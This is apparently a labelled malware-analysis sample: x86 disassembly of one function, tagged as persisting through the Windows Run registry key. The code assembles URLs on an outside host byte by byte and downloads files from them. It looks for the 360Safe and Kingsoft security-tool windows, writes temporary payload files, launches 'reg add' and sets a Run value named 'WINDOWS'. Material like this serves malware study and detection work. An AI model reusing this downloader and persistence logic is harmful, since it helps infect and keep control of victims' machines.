Function at 0x100039a3
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10017380
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x23e4
call fcn.10010ab0
mov eax, dword [0x100200b0]
xor eax, esp
mov dword [esp + 0x23e0], eax
push ebx
push esi
push edi
mov eax, dword [0x100200b0]
xor eax, esp
push eax
lea eax, [esp + 0x23f8]
mov dword fs:[0], eax
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov ecx, eax
mov word [esp + 0x5a], cx
mov word [esp + 0x5c], cx
pop ecx
push 0x3a
mov word [esp + 0x5e], cx
pop ecx
push 0x2f
pop edi
push 0x77
mov word [esp + 0x60], cx
mov ecx, edi
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x65
mov word [esp + 0x66], cx
pop ecx
push 0x62
mov word [esp + 0x68], cx
pop ecx
push 0x2e
mov word [esp + 0x6a], cx
pop ecx
push 0x61
mov word [esp + 0x6c], cx
pop ecx
push 0x64
mov word [esp + 0x6e], cx
pop ecx
push 0x38
mov word [esp + 0x70], cx
pop ecx
push 0x37
mov word [esp + 0x72], cx
pop ecx
push 0x68
mov word [esp + 0x74], cx
pop ecx
push 0x39
mov word [esp + 0x76], cx
pop ecx
push 0x32
mov word [esp + 0x78], cx
pop ecx
push 0x6a
mov word [esp + 0x7a], cx
pop ecx
push 0x2e
mov word [esp + 0x7c], cx
pop ecx
push 0x63
mov word [esp + 0x7e], cx
pop ecx
push 0x6f
mov word [esp + 0x80], cx
pop ecx
push 0x6d
mov word [esp + 0x82], cx
pop ecx
mov word [esp + 0x80], cx
push 0x34
mov ecx, edi
mov word [esp + 0x86], cx
pop ecx
mov word [esp + 0x84], cx
mov ecx, edi
mov word [esp + 0x86], cx
mov ecx, eax
push 0x65
mov word [esp + 0x8c], cx
pop ecx
push 0x78
mov word [esp + 0x8e], cx
pop ecx
push 0x2e
mov word [esp + 0x92], ax
pop eax
push 0x62
mov word [esp + 0x94], ax
pop eax
push 0x6d
mov word [esp + 0x96], ax
pop eax
push 0x70
mov word [esp + 0x98], ax
pop eax
mov word [esp + 0x96], ax
xor eax, eax
push 0x1fc
mov word [esp + 0x9c], ax
mov word [esp + 0x1ff0], ax
xor ebx, ebx
lea eax, [esp + 0x1ff2]
push ebx
push eax
mov word [esp + 0x98], cx
call fcn.1000cce0
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x1fec], cx
add eax, 2
cmp cx, bx
jne 0x10003b46
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x77
mov word [esp + 0x60], ax
mov eax, edi
mov word [esp + 0x62], ax
mov word [esp + 0x64], ax
pop eax
push 0x65
mov word [esp + 0x66], ax
pop eax
push 0x62
mov word [esp + 0x68], ax
pop eax
push 0x2e
mov word [esp + 0x6a], ax
pop eax
push 0x61
mov word [esp + 0x6c], ax
pop eax
push 0x64
mov word [esp + 0x6e], ax
pop eax
push 0x38
mov word [esp + 0x70], ax
pop eax
push 0x37
mov word [esp + 0x72], ax
pop eax
push 0x68
mov word [esp + 0x74], ax
pop eax
push 0x39
mov word [esp + 0x76], ax
pop eax
push 0x32
mov word [esp + 0x78], ax
pop eax
push 0x6a
mov word [esp + 0x7a], ax
pop eax
push 0x2e
mov word [esp + 0x7c], ax
pop eax
push 0x63
mov word [esp + 0x7e], ax
pop eax
push 0x6f
mov word [esp + 0x80], ax
pop eax
push 0x6d
mov word [esp + 0x82], ax
pop eax
mov word [esp + 0x80], ax
push 0x34
mov eax, edi
mov word [esp + 0x86], ax
pop eax
mov word [esp + 0x84], ax
push 0x64
mov eax, edi
mov word [esp + 0x8a], ax
pop eax
push 0x2e
mov word [esp + 0x8c], ax
pop eax
mov word [esp + 0x8a], ax
push 0x62
pop eax
push 0x6d
mov word [esp + 0x90], ax
pop eax
push 0x70
mov word [esp + 0x92], ax
pop eax
mov word [esp + 0x90], ax
xor eax, eax
push 0x1fc
mov word [esp + 0x96], ax
mov word [esp + 0x19f0], ax
lea eax, [esp + 0x19f2]
push ebx
push eax
call fcn.1000cce0
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x19ec], cx
add eax, 2
cmp cx, bx
jne 0x10003c9f
push 1
call esi
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x77
mov word [esp + 0x60], ax
mov eax, edi
mov word [esp + 0x62], ax
mov word [esp + 0x64], ax
pop eax
push 0x65
mov word [esp + 0x66], ax
pop eax
push 0x62
mov word [esp + 0x68], ax
pop eax
push 0x2e
mov word [esp + 0x6a], ax
pop eax
push 0x61
mov word [esp + 0x6c], ax
pop eax
push 0x64
mov word [esp + 0x6e], ax
pop eax
push 0x38
mov word [esp + 0x70], ax
pop eax
push 0x37
mov word [esp + 0x72], ax
pop eax
push 0x68
mov word [esp + 0x74], ax
pop eax
push 0x39
mov word [esp + 0x76], ax
pop eax
push 0x32
mov word [esp + 0x78], ax
pop eax
push 0x6a
mov word [esp + 0x7a], ax
pop eax
push 0x2e
mov word [esp + 0x7c], ax
pop eax
push 0x63
mov word [esp + 0x7e], ax
pop eax
push 0x6f
mov word [esp + 0x80], ax
pop eax
push 0x6d
mov word [esp + 0x82], ax
pop eax
mov word [esp + 0x80], ax
push 0x34
mov eax, edi
mov word [esp + 0x86], ax
pop eax
push 0x74
mov word [esp + 0x88], ax
pop eax
push 0x2e
mov word [esp + 0x8c], ax
pop eax
push 0x62
mov word [esp + 0x8e], ax
pop eax
mov word [esp + 0x86], di
mov word [esp + 0x8c], ax
push 0x6d
pop eax
push 0x70
mov word [esp + 0x92], ax
pop eax
mov word [esp + 0x90], ax
xor eax, eax
push 0x1fc
mov word [esp + 0x96], ax
mov word [esp + 0x1bf0], ax
lea eax, [esp + 0x1bf2]
push ebx
push eax
call fcn.1000cce0
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x54]
mov word [esp + eax + 0x1bec], cx
add eax, 2
cmp cx, bx
jne 0x10003df0
push ebx
call fcn.1000b9db
pop ecx
push eax
call fcn.1000b8ac
pop ecx
mov edi, 0xfe
push edi
lea eax, [esp + 0xef1]
push ebx
push eax
mov byte [esp + 0xef8], bl
call fcn.1000cce0
add esp, 0xc
call fcn.1000b8be
push 3
cdq
pop ecx
idiv ecx
mov dword [esp + 0x1c], ebx
add edx, 6
mov dword [esp + 0x18], edx
cmp edx, ebx
jle 0x10003e72
call fcn.1000b8be
cdq
push 0x3e
pop ecx
idiv ecx
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
mov cl, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov byte [esp + eax + 0xeeb], cl
cmp eax, dword [esp + 0x18]
jl 0x10003e4b
push 1
call esi
push edi
lea eax, [esp + 0x4f1]
push ebx
push eax
mov dword [esp + 0xe0], 0x505c3a43
mov dword [esp + 0xe4], 0x72676f72
mov dword [esp + 0xe8], 0x46206d61
mov dword [esp + 0xec], 0x73656c69
mov dword [esp + 0xf0], 0x38782820
mov dword [esp + 0xf4], 0x5c2936
mov byte [esp + 0x4f8], bl
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0xeec]
push eax
lea eax, [esp + 0xd8]
push eax
lea eax, [esp + 0x4f4]
push str._s_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0x801]
push ebx
push eax
mov byte [esp + 0x808], bl
call fcn.1000cce0
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x4ec]
mov byte [esp + eax + 0x7ec], cl
inc eax
cmp cl, bl
jne 0x10003f0f
push 1
call esi
lea eax, [esp + 0x7ec]
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
push 1
call esi
push edi
lea eax, [esp + 0xaf1]
push ebx
push eax
mov byte [esp + 0xaf8], bl
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0x7ec]
push eax
lea eax, [esp + 0xaf0]
push str._slib
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
call esi
lea edi, [esp + 0xaec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10003f7b
mov esi, str.cef.dll
push 0xfe
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0xbf1]
push ebx
push eax
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xcc], 0x2e643374
mov dword [esp + 0xd0], 0x706d74
mov byte [esp + 0xbf8], bl
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x4f0]
push eax
mov esi, str._s_s
lea eax, [esp + 0xbf4]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xfe
lea eax, [esp + 0x1201]
push ebx
push eax
mov byte [esp + 0x1208], bl
call fcn.1000cce0
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0xbec]
mov byte [esp + eax + 0x11ec], cl
inc eax
cmp cl, bl
jne 0x10004000
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0xfe
push edi
lea eax, [esp + 0xff1]
push ebx
push eax
mov dword [esp + 0xc4], 0x2e643474
mov dword [esp + 0xc8], 0x706d74
mov byte [esp + 0xff8], bl
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0x4f0]
push eax
lea eax, [esp + 0xff4]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0xd01]
push ebx
push eax
mov byte [esp + 0xd08], bl
call fcn.1000cce0
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0xfec]
mov byte [esp + eax + 0xcec], cl
inc eax
cmp cl, bl
jne 0x10004089
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [esp + 0x13f1]
push ebx
push eax
mov dword [esp + 0xbc], 0x2e643574
mov dword [esp + 0xc0], 0x706d74
mov byte [esp + 0x13f8], bl
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0x4f0]
push eax
lea eax, [esp + 0x13f4]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
lea eax, [esp + 0xe01]
push ebx
push eax
mov byte [esp + 0xe08], bl
call fcn.1000cce0
add esp, 0x1c
xor eax, eax
mov cl, byte [esp + eax + 0x13ec]
mov byte [esp + eax + 0xdec], cl
inc eax
cmp cl, bl
jne 0x1000410d
mov dword [esp + 0xa0], 0x676e6f6c
mov byte [esp + 0xa4], bl
mov esi, 0x3f2
lea eax, [esp + 0xa0]
push eax
push 1
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x11f8]
push 0x6251a1
push eax
lea ecx, [esp + 0x2000]
mov dword [esp + 0x2c], ebx
call fcn.100028b9
add esp, 0x14
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10004137
lea eax, [esp + 0xa0]
push eax
push 2
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xcf8]
push ebx
push eax
lea ecx, [esp + 0x1a00]
mov dword [esp + 0x2c], ebx
call fcn.100028b9
add esp, 0x14
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x10004178
lea eax, [esp + 0xa0]
push eax
push 3
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xdf8]
push ebx
push eax
lea ecx, [esp + 0x1c00]
mov dword [esp + 0x2c], ebx
call fcn.100028b9
add esp, 0x14
push esi
mov byte [esp + 0x1b], al
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0x17], 1
jne 0x100041b5
push ebx
call fcn.1000b9db
pop ecx
push eax
call fcn.1000b8ac
pop ecx
push edi
lea eax, [esp + 0x9f1]
push ebx
push eax
mov byte [esp + 0x9f8], bl
call fcn.1000cce0
add esp, 0xc
xor esi, esi
call fcn.1000b8be
cdq
push 0x3e
pop ecx
idiv ecx
inc esi
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov byte [esp + esi + 0x9eb], al
cmp esi, 7
jl 0x1000421b
push edi
lea eax, [esp + 0x3f1]
push ebx
push eax
mov byte [esp + 0x3f8], bl
call fcn.1000cce0
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x9ec]
push eax
lea eax, [esp + 0x7f0]
push eax
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0x3f8]
push eax
mov dword [esp + 0xd8], 0x73257325
mov dword [esp + 0xdc], 0x6578652e
mov byte [esp + 0xe0], bl
call esi
push edi
lea eax, [esp + 0x1101]
push ebx
push eax
mov byte [esp + 0x1108], bl
call fcn.1000cce0
add esp, 0x1c
lea eax, [esp + 0x9ec]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0x10f4]
push eax
mov dword [esp + 0xb4], 0x652e7325
mov word [esp + 0xb8], 0x6578
mov byte [esp + 0xba], bl
call esi
add esp, 0xc
lea eax, [esp + 0x10ec]
lea ecx, [esp + 0x38]
call fcn.100059cb
sub esp, 0x1c
mov dword [esp + 0x241c], ebx
lea ecx, [esp + 0x54]
mov eax, esp
mov dword [esp + 0x34], esp
push ecx
call fcn.100059a5
sub esp, 0x1c
mov byte [esp + 0x2438], 1
mov eax, str.lalala123_
mov ecx, esp
mov dword [esp + 0x54], esp
call fcn.100059cb
sub esp, 0x1c
mov byte [esp + 0x2454], 2
mov eax, str.text_
mov ecx, esp
mov dword [esp + 0x78], esp
call fcn.100059cb
sub esp, 0x1c
mov byte [esp + 0x2470], 3
lea eax, [esp + 0x55c]
mov ecx, esp
mov dword [esp + 0x90], esp
call fcn.100059cb
sub esp, 0x1c
mov byte [esp + 0x248c], 4
lea eax, [esp + 0xc78]
mov ecx, esp
mov dword [esp + 0x12c], esp
call fcn.100059cb
lea eax, [esp + 0xb4]
push eax
mov byte [esp + 0x2490], bl
call fcn.1000a063
lea eax, [esp + 0xb7c]
push eax
lea eax, [esp + 0xd80]
push eax
mov byte [esp + 0x2498], 5
call fcn.10002e6f
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x98
push 1
call esi
push 0x320
call esi
xor eax, eax
push 0x1fc
mov word [esp + 0x1df0], ax
lea eax, [esp + 0x1df2]
push ebx
push eax
call fcn.1000cce0
add esp, 0xc
push 0xff
lea eax, [esp + 0x3f0]
push eax
lea eax, [esp + 0x1df4]
push eax
call fcn.1000afbd
add esp, 0xc
push 0xfb
lea eax, [esp + 0x12f4]
push ebx
push eax
mov dword [esp + 0x12f8], 0x363351
call fcn.1000cce0
mov esi, str.0SafeMonClass
lea edi, [esp + 0x15f8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsd dword es:[edi], dword [esi]
push 0xf1
lea eax, [esp + 0x15fe]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0x15ec]
push eax
lea eax, [esp + 0x12f0]
push 0xff
push eax
call fcn.1000b91d
add esp, 0xc
push ebx
lea eax, [esp + 0x12f0]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, 1
jle 0x10004705
call fcn.100018ea
cmp eax, 1
jne 0x100044b6
lea eax, [esp + 0x3ec]
push eax
call fcn.10002388
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004699
cmp eax, 3
jne 0x10004699
push 0x68
pop eax
push 0x74
mov word [esp + 0x58], ax
pop eax
push 0x70
mov word [esp + 0x5a], ax
mov word [esp + 0x5c], ax
pop eax
push 0x3a
mov word [esp + 0x5e], ax
pop eax
push 0x2f
mov word [esp + 0x60], ax
pop eax
push 0x77
mov ecx, eax
mov word [esp + 0x62], cx
mov word [esp + 0x64], cx
pop ecx
push 0x65
mov word [esp + 0x66], cx
pop ecx
push 0x62
mov word [esp + 0x68], cx
pop ecx
push 0x2e
mov word [esp + 0x6a], cx
pop ecx
push 0x61
mov word [esp + 0x6c], cx
pop ecx
push 0x64
mov word [esp + 0x6e], cx
pop ecx
push 0x38
mov word [esp + 0x70], cx
pop ecx
push 0x37
mov word [esp + 0x72], cx
pop ecx
push 0x68
mov word [esp + 0x74], cx
pop ecx
push 0x39
mov word [esp + 0x76], cx
pop ecx
push 0x32
mov word [esp + 0x78], cx
pop ecx
push 0x6a
mov word [esp + 0x7a], cx
pop ecx
push 0x2e
mov word [esp + 0x7c], cx
pop ecx
push 0x63
mov word [esp + 0x7e], cx
pop ecx
push 0x6f
mov word [esp + 0x80], cx
pop ecx
push 0x6d
mov word [esp + 0x82], cx
pop ecx
push 0x34
mov word [esp + 0x84], cx
mov ecx, eax
mov word [esp + 0x86], cx
pop ecx
push 0x68
mov word [esp + 0x8a], ax
pop eax
push 0x2e
mov word [esp + 0x8c], ax
pop eax
push 0x62
mov word [esp + 0x8e], ax
pop eax
mov word [esp + 0x84], cx
mov word [esp + 0x8c], ax
push 0x6d
pop eax
push 0x70
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov word [esp + 0x92], ax
pop eax
mov word [esp + 0x90], ax
xor eax, eax
push 0x47
mov word [esp + 0x96], ax
pop eax
push 0x45
mov word [esp + 0xa4], ax
pop eax
mov word [esp + 0xa2], ax
push 0x54
pop eax
mov word [esp + 0xa4], ax
xor eax, eax
mov word [esp + 0xa6], ax
lea eax, [esp + 0xa0]
push eax
call esi
mov edi, eax
lea eax, [esp + 0x54]
push eax
call esi
mov esi, eax
push esi
lea eax, [esp + 0x20]
push edi
push eax
mov dword [esp + 0x28], ebx
call fcn.1000356a
add esp, 0xc
cmp dword [esp + 0x1c], 0x1f40
mov dword [esp + 0x18], eax
jae 0x1000465b
push 0x5e1
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
lea eax, [esp + 0x20]
push edi
push eax
call fcn.1000356a
add esp, 0xc
push 0x18cd
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.10002887
mov ecx, dword [esp + 0x28]
add esp, 0xc
lea eax, [esp + 0x1dec]
push eax
push dword [esp + 0x1c]
call fcn.100036ed
pop ecx
pop ecx
test eax, eax
jne 0x10004699
lea eax, [esp + 0x3ec]
push eax
call fcn.10001144
pop ecx
lea eax, [esp + 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
movzx eax, ax
push 0x1001c710
push str.SHELL_TrayWnd
mov dword [esp + 0x20], eax
call edi
mov esi, dword [sym.imp.USER32.dll_PostMessageA]
push ebx
push 0x641
push 0x4ea
push eax
mov dword [esp + 0x2c], eax
call esi
movzx eax, word [esp + 0x18]
push eax
push 0x641
push 0x4e9
push dword [esp + 0x28]
call esi
push ebx
push str.Shell_TrayWnd
call edi
push ebx
push ebx
push 0x312
push eax
call esi
jmp 0x10004c13
push 0xfe
lea eax, [esp + 0x6f1]
push ebx
push eax
mov byte [esp + 0x6f8], bl
call fcn.1000cce0
lea eax, [esp + 0x4f8]
add esp, 0xc
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000472b
lea edi, [esp + 0x6ec]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x1000473c
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x6ec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000475c
mov esi, 0x1001c78c
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x6ec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004772
mov esi, 0x1001c790
push 0xfe
movsw word es:[edi], word [esi]
lea eax, [esp + 0x8f1]
push ebx
push eax
movsb byte es:[edi], byte [esi]
mov byte [esp + 0x8f8], bl
call fcn.1000cce0
lea edi, [esp + 0x8f8]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100047a7
mov esi, 0x1001c794
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x8ec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100047bf
mov esi, 0x1001c798
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x8ec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100047d5
mov esi, 0x1001c79c
push 0xfe
movsw word es:[edi], word [esi]
lea eax, [esp + 0xf1]
push ebx
push eax
movsb byte es:[edi], byte [esi]
mov byte [esp + 0xf8], bl
call fcn.1000cce0
lea edi, [esp + 0xf8]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000480a
mov esi, 0x1001c7a0
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004822
mov esi, str.d__HK
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000483a
mov esi, str.CUSOF
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004853
mov esi, str.TWAREMic
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000486c
mov esi, str.roso
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004883
mov esi, str.ftWin
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1000489c
mov esi, str.dowsCurr
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100048b5
mov esi, str.entVe
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100048cd
mov esi, str.rsionR
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100048e4
mov esi, str.un___v_de
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100048fd
mov esi, str.mo__t_RE
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004915
mov esi, str.G_SZ__d__
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x3ec]
movsw word es:[edi], word [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000492f
lea edi, [esp + 0xec]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10004940
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10004960
xor eax, eax
push 0x1fc
mov word [esp + 0x21f0], ax
lea eax, [esp + 0x21f2]
push ebx
mov esi, 0x1001c810
push eax
movsw word es:[edi], word [esi]
call fcn.1000cce0
add esp, 0xc
push 0xff
lea eax, [esp + 0x6f0]
push eax
lea eax, [esp + 0x21f4]
push eax
call fcn.1000afbd
add esp, 0xc
xor eax, eax
push 0x1fc
mov word [esp + 0x17f0], ax
lea eax, [esp + 0x17f2]
push ebx
push eax
call fcn.1000cce0
add esp, 0xc
lea edi, [esp + 0x17ec]
push 2
sub edi, 2
pop edx
mov ax, word [edi + 2]
add edi, edx
cmp ax, bx
jne 0x100049d9
mov esi, 0x1001c814
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x17ec]
sub edi, 2
mov ax, word [edi + 2]
add edi, edx
cmp ax, bx
jne 0x100049f6
mov esi, str.le:___
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x21ec]
movsw word es:[edi], word [esi]
mov esi, eax
mov cx, word [eax]
add eax, edx
cmp cx, bx
jne 0x10004a14
lea edi, [esp + 0x17ec]
sub eax, esi
sub edi, 2
mov cx, word [edi + 2]
add edi, edx
cmp cx, bx
jne 0x10004a2a
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, str.BkSha
lea edi, [esp + 0x14ec]
movsd dword es:[edi], dword [esi]
push 0xf9
lea eax, [esp + 0x14f6]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.1000cce0
mov esi, str.dowWndClass
lea edi, [esp + 0x16f8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0xc
movsd dword es:[edi], dword [esi]
mov esi, 0xf3
push esi
lea eax, [esp + 0x16fc]
push ebx
push eax
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0x16ec]
push eax
lea eax, [esp + 0x14f0]
push 0xff
push eax
call fcn.1000b91d
add esp, 0xc
push ebx
lea eax, [esp + 0x14f0]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, 1
jle 0x10004c33
lea eax, [esp + 0x6ec]
push eax
lea edi, [esp + 0xf0]
lea ebx, [esp + 0x8f0]
call fcn.10001030
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x10004b39
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push str._Y_a
push 0x17
push 0
push 0x1001a5a4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10004b33
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10004b33
mov ecx, dword [eax]
lea edx, [esp + 0x17ec]
push edx
push eax
call dword [ecx + 0x18]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor ebx, ebx
push esi
lea eax, [esp + 0x2fc]
push ebx
push eax
mov dword [esp + 0x2f8], 0x6c656853
mov dword [esp + 0x2fc], 0x2e32336c
mov dword [esp + 0x300], 0x6c6c64
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0x2ec]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0xf1
mov esi, eax
lea eax, [esp + 0x1fe]
push ebx
push eax
mov dword [esp + 0x1f8], 0x6c656853
mov dword [esp + 0x1fc], 0x6578456c
mov dword [esp + 0x200], 0x65747563
mov word [esp + 0x204], 0x41
call fcn.1000cce0
add esp, 0xc
lea eax, [esp + 0x1ec]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, ebx
je 0x10004c13
push 0xfa
lea eax, [esp + 0x5f5]
push ebx
push eax
mov dword [esp + 0x5f8], 0x6e65704f
mov byte [esp + 0x5fc], bl
call fcn.1000cce0
add esp, 0xc
push 5
push ebx
push ebx
lea eax, [esp + 0x3f8]
push eax
lea eax, [esp + 0x5fc]
push eax
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
call fcn.100031c7
push 1
call esi
push 1
call esi
push ebx
call fcn.1000bcaf
lea eax, [esp + 0x18]
push eax
push 0xf003f
push ebx
push str.SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004c95
lea eax, [esp + 0x3ec]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10004c5c
sub eax, edx
push eax
lea eax, [esp + 0x3f0]
push eax
push 1
push ebx
push str.WINDOWS
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x18]
mov edi, eax
